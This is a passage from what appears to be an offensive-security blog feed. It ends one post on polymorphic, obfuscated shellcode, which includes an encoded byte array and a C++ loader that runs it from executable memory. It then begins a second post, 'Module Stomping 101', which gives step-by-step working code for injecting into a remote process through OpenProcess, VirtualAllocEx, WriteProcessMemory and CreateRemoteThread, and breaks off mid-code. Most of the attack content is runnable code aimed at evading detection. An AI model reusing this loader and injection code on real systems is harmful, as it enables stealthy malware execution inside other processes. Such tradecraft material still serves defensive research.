class="s">"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"#"</span> <span class="s">"C"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ð"</span> <span class="s">"</span><span class="se">\x94</span><span class="s">"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"e"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¼"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\x1d</span><span class="s">"</span> <span class="s">"3"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¼"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"J"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¿"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"é"</span> <span class="s">"</span><span class="se">\x18</span><span class="s">"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x16</span><span class="s">"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x01</span><span class="s">"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x1d</span><span class="s">"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"¬"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"j"</span> <span class="s">"</span><span class="se">\x80</span><span class="s">"</span> <span class="s">"</span><span class="se">\'</span><span class="s">"</span> <span class="s">"["</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¯"</span> <span class="s">"&amp;"</span> <span class="s">"</span><span class="se">\x85</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"´"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\r</span><span class="s">"</span> <span class="s">"c"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ú"</span> <span class="s">"¥"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ú"</span> <span class="s">"</span><span class="se">\x8b</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¶"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\x08</span><span class="s">"</span> <span class="s">"o"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"8"</span> <span class="s">"·"</span> <span class="s">"R"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"R"</span> <span class="s">"</span><span class="se">\x90</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ú"</span> <span class="s">"·"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"</span><span class="se">\x9a</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"¶"</span> <span class="s">"S"</span> <span class="s">"5"</span> <span class="s">"Ò"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"¬"</span> <span class="s">"Û"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"½"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"º"</span> <span class="s">"["</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"</span><span class="se">\x9f</span><span class="s">"</span> <span class="s">"S"</span> <span class="s">"Ø"</span> <span class="s">"G"</span> <span class="s">"X"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"´"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"R"</span> <span class="s">"</span><span class="se">\x91</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ú"</span> <span class="s">"¾"</span> <span class="s">"</span><span class="se">\x17</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\x01</span><span class="s">"</span> <span class="s">"G"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"¾"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"</span><span class="se">\x88</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ð"</span> <span class="s">"¿"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x17</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\t</span><span class="s">"</span> <span class="s">"s"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ð"</span> <span class="s">"</span><span class="se">\xad</span><span class="s">"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"R"</span> <span class="s">"</span><span class="se">\x90</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"½"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"Ú"</span> <span class="s">"</span><span class="se">\x82</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¼"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"ë"</span> <span class="s">"û"</span> <span class="s">"Å"</span> <span class="s">"Â"</span> <span class="s">"é"</span> <span class="s">"Ô"</span> <span class="s">"É"</span> <span class="s">"Ï"</span> <span class="s">"&lt;"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"</span><span class="se">\x9c</span><span class="s">"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"¤"</span> <span class="s">"</span><span class="se">\x83</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"®"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"³"</span> <span class="s">"["</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ú"</span> <span class="s">"¾"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"»"</span> <span class="s">"["</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"µ"</span> <span class="s">"</span><span class="se">\x03</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ö"</span> <span class="s">"¥"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ú"</span> <span class="s">"³"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"</span><span class="se">\xad</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ð"</span> <span class="s">"</span><span class="se">\x97</span><span class="s">"</span> <span class="s">"["</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ú"</span> <span class="s">"·"</span> <span class="s">"4"</span> <span class="s">"°"</span> <span class="s">"c"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"</span><span class="se">\xad</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"</span><span class="se">\x88</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¯"</span> <span class="s">"</span><span class="se">\x12</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"O"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"´"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"R"</span> <span class="s">"</span><span class="se">\x90</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"µ"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"¬"</span> <span class="s">"</span><span class="se">\x9a</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¯"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"["</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"§"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"j"</span> <span class="s">"X"</span> <span class="s">"</span><span class="se">\'</span><span class="s">"</span> <span class="s">"^"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"½"</span> <span class="s">"&amp;"</span> <span class="s">"</span><span class="se">\x82</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"µ"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x9f</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¯"</span> <span class="s">"¬"</span> <span class="s">"</span><span class="se">\x92</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ö"</span> <span class="s">"·"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"</span><span class="se">\x88</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"§"</span> <span class="s">"</span><span class="se">\x17</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\t</span><span class="s">"</span> <span class="s">"O"</span> <span class="s">"</span><span class="se">\x1f</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¤"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"R"</span> <span class="s">"</span><span class="se">\x90</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¿"</span> <span class="s">"</span><span class="se">\x16</span><span class="s">"</span> <span class="s">"Ø"</span> <span class="s">"o"</span> <span class="s">"Ø"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"</span><span class="se">\xad</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"R"</span> <span class="s">"</span><span class="se">\x94</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"¥"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"</span><span class="se">\x93</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ð"</span> <span class="s">"</span><span class="se">\x96</span><span class="s">"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x03</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"®"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"ë"</span> <span class="s">"Ï"</span> <span class="s">"Í"</span> <span class="s">"À"</span> <span class="s">"Ï"</span> <span class="s">"</span><span class="se">\x82</span><span class="s">"</span> <span class="s">"É"</span> <span class="s">"Ô"</span> <span class="s">"É"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ð"</span> <span class="s">"¯"</span> <span class="s">"S"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"¤"</span> <span class="s">"</span><span class="se">\x83</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"½"</span> <span class="s">"</span><span class="se">\x03</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"</span><span class="se">\xad</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ú"</span> <span class="s">"²"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ö"</span> <span class="s">"·"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"b"</span> <span class="s">"</span><span class="se">\x81</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"½"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"¬"</span> <span class="s">"</span><span class="se">\x91</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"</span><span class="se">\xad</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1b</span><span class="s">"</span> <span class="s">"Ð"</span> <span class="s">"¿"</span> <span class="s">"c"</span> <span class="s">"</span><span class="se">\x1a</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"¯"</span> <span class="s">"</span><span class="se">\x12</span><span class="s">"</span> <span class="s">"¬"</span> <span class="s">"</span><span class="se">\x84</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1e</span><span class="s">"</span> <span class="s">"Ô"</span> <span class="s">"§"</span> <span class="s">"S"</span> <span class="s">"S"</span> <span class="s">"S"</span> <span class="s">"S"</span> <span class="s">"S"</span><span class="p">;</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="kt">size_t</span> <span class="n">shellcode_size</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">exec_mem</span> <span class="o">=</span> <span class="n">VirtualAlloc</span><span class="p">(</span><span class="nb">nullptr</span><span class="p">,</span> <span class="n">shellcode_size</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">exec_mem</span> <span class="o">==</span> <span class="nb">nullptr</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"Memory allocation failed</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">memcpy</span><span class="p">(</span><span class="n">exec_mem</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcode_size</span><span class="p">);</span>
    <span class="k">auto</span> <span class="n">shellcode_func</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">void</span><span class="p">(</span><span class="o">*</span><span class="p">)()</span><span class="o">&gt;</span><span class="p">(</span><span class="n">exec_mem</span><span class="p">);</span>
    <span class="n">shellcode_func</span><span class="p">();</span>

    <span class="n">VirtualFree</span><span class="p">(</span><span class="n">exec_mem</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Compile and run that, and you should be greeted with the ever familiar windows calculator!</p>

<p><img width="1479" height="753" alt="image" src="https://github.com/user-attachments/assets/105136ad-d17b-4537-aa8e-b7b040959993" /></p>

<p>Well, that’s it for this particular post.  But I anticipate I’ll do more development and research work surrounding polymorphic PIC shellcode in the near future.  Stay tuned!</p>

<h2 id="anyrun-results"><strong><em>ANY.RUN Results</em></strong></h2>

<p><img width="1549" height="623" alt="image" src="https://github.com/user-attachments/assets/475df143-f13f-4819-a611-9c64767a6ee8" /></p>

<p><a href="https://app.any.run/tasks/c81c07c1-f6b9-4f74-bb89-95bc605b7ecb">Full Sandbox Analysis</a></p>

<div style="text-align: right;">
Sponsored by:<br />
<img src="https://github.com/user-attachments/assets/111a0bb6-66e1-43b0-9a0a-5ce093f4b65e" alt="Sponsor logo" style="max-width: 200px;" />
</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Shellcode" /><category term="PIC" /><category term="x64 assembly" /><category term="2025" /><category term="g3tsyst3m" /><category term="x64 shellcode" /><category term="PIC shellcode" /><category term="Bitwise encoder" /><category term="polymorphic shellcode" /><summary type="html"><![CDATA[Alright I’ll admit I’m pretty pumped for today’s post 😸 Shellcode and x64 Assembly are one of my favorite topics to cover. I don’t know why, but something about assembly and shellcode fascinates me. I don’t know if it’s the fact that I feel extremely accomplished after producing custom shellcode/x64 assembly, or just because it’s so clean &amp; efficient, or it’s evasive capabilities? I’m not sure. But all of those factors certainly contribute to it’s appeal as far as I’m concerned. In today’s post, we’re going to cover quite a bit of ground, so buckle up! I’m going to go over various way to encode your shellcode, obfuscate it, turn it into the popular alpha-mix character format, and of course make it polymorphic. What do I mean exactly when I say polymorphic? Well, in short, I just mean the shellcode will be uniquely different every single time it’s built and ran. In essence, it will never have a common file signature.]]></summary></entry><entry><title type="html">Module Stomping 101 - My Favorite Stomping Grounds</title><link href="https://g3tsyst3m.com/process%20injection/Module-Stomping-101-My-Favorite-Stomping-Grounds/" rel="alternate" type="text/html" title="Module Stomping 101 - My Favorite Stomping Grounds" /><published>2025-10-03T00:00:00+00:00</published><updated>2025-10-03T00:00:00+00:00</updated><id>https://g3tsyst3m.com/process%20injection/Module%20Stomping%20101%20-%20My%20Favorite%20Stomping%20Grounds</id><content type="html" xml:base="https://g3tsyst3m.com/process%20injection/Module-Stomping-101-My-Favorite-Stomping-Grounds/"><![CDATA[<p>It probably comes as no surprise to most of my dedicated readers that I have an undying fascination with all things related to code injection and evasive maneuver techniques in the realm of offensive security.  I’m no expert in the area by any stretch of the imagination, but I find I enjoy researching these specific niche aspects of offensive security tradecraft the most rewarding 😸.  Okay, so you know already by the title of this post that our focus today will be on <code class="language-plaintext highlighter-rouge">module stomping</code>.  What is that exactly?  Well, I’ll talk about it briefly here and also give you a preview video where I provide a high level overview of Module Stomping in what I hope is presented in an easy to understand manner.</p>

<h2 id="what-is-module-stomping-and-what-the-heck-are-we-stomping">What is Module Stomping, and What the heck are we Stomping?</h2>

<blockquote>
  <p><strong>In brief:</strong> Module Stomping is loading an otherwise benign DLL (<code class="language-plaintext highlighter-rouge">dynamic link library</code>), usually from a trusted directory such as <code class="language-plaintext highlighter-rouge">System32</code>, into a remote process (notepad.exe, for instance) and injecting the entry point of that DLL with shellcode (your payload).  Well, that’s the version I am familiar with at least 😺  It can be broken up into 4 phases:</p>
</blockquote>

<ul>
  <li><strong>Loading the DLL into the remote process</strong>
    <ul>
      <li>We first need to use GetProcAddress to load the address for the LoadLibrary API</li>
      <li>Next, we will point the LoadLibrary filename parameter to the path of the DLL we wish to load.  This will be a string containing the full filepath for our DLL</li>
    </ul>
  </li>
  <li><strong>Locating the newly loaded DLL in the list of Loaded Modules for the Remote Process</strong>
    <ul>
      <li>We will enum all the loaded modules, find our DLL, and store it’s handle in an HMODULE variable</li>
    </ul>
  </li>
  <li><strong>Extracting enough bytes (4096) from the handle of the remote DLL to cast against an IMAGE_DOS_HEADER</strong>
    <ul>
      <li>We briefly traverse the PE HEADER (makes things much easier than manually finding offsets) to get to <code class="language-plaintext highlighter-rouge">OptionalHeader.AddressOfEntryPoint</code>.  We add that to the base address of our loaded module and finally have our DLL’s entry point.</li>
    </ul>
  </li>
  <li><strong>Execute our Shellcode!</strong>
    <ul>
      <li>Write our shellcode to the entry point</li>
      <li>Create a remote thread at te entry point</li>
      <li>Execute!</li>
    </ul>
  </li>
</ul>

<blockquote>
  <p>Preview Walkthrough Video Below.  Full video at: <a href="https://ko-fi.com/s/baf68796a1">https://ko-fi.com/s/baf68796a1</a></p>
</blockquote>

<iframe width="560" height="315" src="https://www.youtube.com/embed/zltO1EAQ6UM" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<h2 id="walking-through-the-code---the-prologue">Walking through the Code - The Prologue</h2>

<p>This one is very familiar to the average C/C++ code.  It’s the standard commandline argument collection procedure and then passing the argument (the remote process’ PID) into the 3rd parameter of <code class="language-plaintext highlighter-rouge">OpenProcess</code></p>
<blockquote>
  <p>In Short: We’re opening a remote process with the PID we specify 😸  Pretty straight forward right?</p>
</blockquote>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"Usage: "</span> <span class="o">&lt;&lt;</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&lt;&lt;</span> <span class="s">" &lt;pid&gt;</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">HANDLE</span> <span class="n">hProc</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">atoi</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]));</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hProc</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"Failed to open process.</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
</code></pre></div></div>

<h2 id="load-the-dll-into-the-remote-process">Load the DLL into the Remote Process</h2>

<p>Next, we will load the DLL we specified below (CoreShell.dll) into our remote process.  I use Notepad in my demo.  Also you’ll notice a slight discrepancy between the DLL used in the video versus the code in this blog post.  The DLL in the video was already loaded by Notepad so I needed to choose another one.  That’s the shortend of it 😄</p>

<p>Okay, we will first allocate memory the size of our filepath + filename using <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>. Next, we write the filepath+filename string (<code class="language-plaintext highlighter-rouge">benignMod</code>) to that memory location we just allocated (<code class="language-plaintext highlighter-rouge">modPath</code>).  It looks like this!</p>

<p><img width="1208" height="520" alt="image" src="https://github.com/user-attachments/assets/763a845f-5a06-408f-a639-1906f2b21e9e" /></p>

<p><img width="1458" height="942" alt="image" src="https://github.com/user-attachments/assets/23d343a5-4249-43af-b388-5264b6502679" /></p>

<p>Next, we locate the address for LoadLibrary and pass the address of our DLL filepath (<code class="language-plaintext highlighter-rouge">modPath</code>) as a parameter when we call our CreateRemoteThread api.  Afterwards, Lo and behold, the DLL is alive and running in the remote process!</p>

<p><img width="843" height="309" alt="image" src="https://github.com/user-attachments/assets/9f71a5b7-a209-49c3-9cdf-79ca653ded68" /></p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// Benign module for stomping</span>
 <span class="k">const</span> <span class="kt">wchar_t</span><span class="o">*</span> <span class="n">benignMod</span> <span class="o">=</span> <span class="s">L"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">CoreShell.dll"</span><span class="p">;</span>
 <span class="kt">void</span><span class="o">*</span> <span class="n">modPath</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="n">wcslen</span><span class="p">(</span><span class="n">benignMod</span><span class="p">)</span> <span class="o">*</span> <span class="nf">sizeof</span><span class="p">(</span><span class="kt">wchar_t</span><span class="p">)</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">wchar_t</span><span class="p">),</span>
     <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>
 <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">modPath</span><span class="p">)</span> <span class="p">{</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProc</span><span class="p">);</span>
     <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
 <span class="p">}</span>
 <span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">modPath</span><span class="p">,</span> <span class="n">benignMod</span><span class="p">,</span> <span class="n">wcslen</span><span class="p">(</span><span class="n">benignMod</span><span class="p">)</span> <span class="o">*</span> <span class="nf">sizeof</span><span class="p">(</span><span class="kt">wchar_t</span><span class="p">)</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">wchar_t</span><span class="p">),</span> <span class="nb">nullptr</span><span class="p">);</span>

 <span class="c1">// Load the benign module remotely</span>
 <span class="k">auto</span> <span class="n">loadLib</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">GetModuleHandleW</span><span class="p">(</span><span class="s">L"kernel32.dll"</span><span class="p">),</span> <span class="s">"LoadLibraryW"</span><span class="p">);</span>
 <span class="n">HANDLE</span> <span class="n">hLoadThread</span> <span class="o">=</span> <span class="n">CreateRemoteThread</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">loadLib</span><span class="p">,</span> <span class="n">modPath</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">);</span>
 <span class="k">if</span> <span class="p">(</span><span class="n">hLoadThread</span><span class="p">)</span> <span class="p">{</span>
     <span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">hLoadThread</span><span class="p">,</span> <span class="n">INFINITE</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hLoadThread</span><span class="p">);</span>
 <span class="p">}</span>
 <span class="n">VirtualFreeEx</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">modPath</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>
</code></pre></div></div>

<h2 id="locate-the-remote-dll-modules-base-address">Locate the Remote DLL Module’s Base Address</h2>

<p>Now, we need to cycle through all the loaded DLL modules and find ours.  Simple enough right?  😺  Once we find it, let’s print it to the console. We will also store it in the <code class="language-plaintext highlighter-rouge">targetMod</code> handle:</p>

<p><img width="909" height="288" alt="image" src="https://github.com/user-attachments/assets/199e0853-aa0c-4825-8925-7e34d6598ba2" /></p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Locate the loaded module's base</span>
<span class="n">HMODULE</span> <span class="n">mods</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
<span class="n">DWORD</span> <span class="n">cbNeeded</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">EnumProcessModules</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">mods</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">mods</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">cbNeeded</span><span class="p">))</span> <span class="p">{</span>
    <span class="n">HMODULE</span> <span class="n">targetMod</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">modName</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
    <span class="n">DWORD</span> <span class="n">modCount</span> <span class="o">=</span> <span class="n">cbNeeded</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">HMODULE</span><span class="p">);</span>
